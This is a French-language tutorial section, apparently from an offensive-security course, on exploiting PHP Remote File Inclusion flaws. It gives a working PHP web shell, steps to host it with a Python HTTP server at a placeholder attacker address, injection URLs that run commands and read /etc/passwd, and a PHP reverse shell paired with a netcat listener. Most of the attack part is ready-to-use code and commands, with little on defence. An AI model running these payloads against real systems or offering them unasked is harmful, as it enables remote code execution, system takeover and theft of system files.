5. Failles RFI — inclusion et exécution de fichiers distants

La Remote File Inclusion (RFI) est la variante la plus dangereuse des failles d’inclusion. Elle permet d’inclure et d’exécuter directement un fichier PHP hébergé sur un serveur que l’attaquant contrôle.

Conditions nécessaires à une RFI

  1. allow_url_fopen = On dans php.ini (activé par défaut depuis PHP 4.3)
  2. allow_url_include = On dans php.ini (désactivé par défaut depuis PHP 5.2)
  3. Une faille d’inclusion avec entrée utilisateur non filtrée
# Vérifier la configuration PHP via LFI
?page=../../../../etc/php/8.1/apache2/php.ini
# Chercher "allow_url_include" dans le résultat

Exploitation d’une RFI basique

Etape 1 : Préparer le fichier malveillant

<?php
// shell.php - hébergé sur le serveur de l'attaquant
system($_GET['cmd']);
?>

Etape 2 : Héberger le fichier

# Serveur HTTP Python rapide
python3 -m http.server 8080
# Accessible à : http://ATTACKER_IP:8080/shell.php

Etape 3 : Exploiter la RFI

?page=http://ATTACKER_IP:8080/shell
?page=http://ATTACKER_IP:8080/shell&cmd=id
?page=http://ATTACKER_IP:8080/shell&cmd=cat+/etc/passwd

RFI avec un reverse shell

<?php
// revshell.php
$ip = 'ATTACKER_IP';
$port = 4444;
$sock = fsockopen($ip, $port);
$proc = proc_open('/bin/sh -i', [0=>$sock, 1=>$sock, 2=>$sock], $pipes);
?>
nc -lvnp 4444          # Ecouter
?page=http://ATTACKER_IP:8080/revshell  # Declencher

Differences LFI vs RFI

Critère LFI RFI
Fichier source Local (sur le serveur) Distant (serveur attaquant)
Execution PHP Via log poisoning Directe et immédiate
Config PHP requise Aucune allow_url_include = On
Prévalence Fréquente Rare (désactivée par défaut)
Points clés :

  • La RFI nécessite allow_url_include = On, désactivé par défaut depuis PHP 5.2
  • Elle permet une exécution de code immédiate sans log poisoning
  • Un simple python3 -m http.server suffit pour héberger le payload
SEE ALL Add a note
YOU
Add your Comment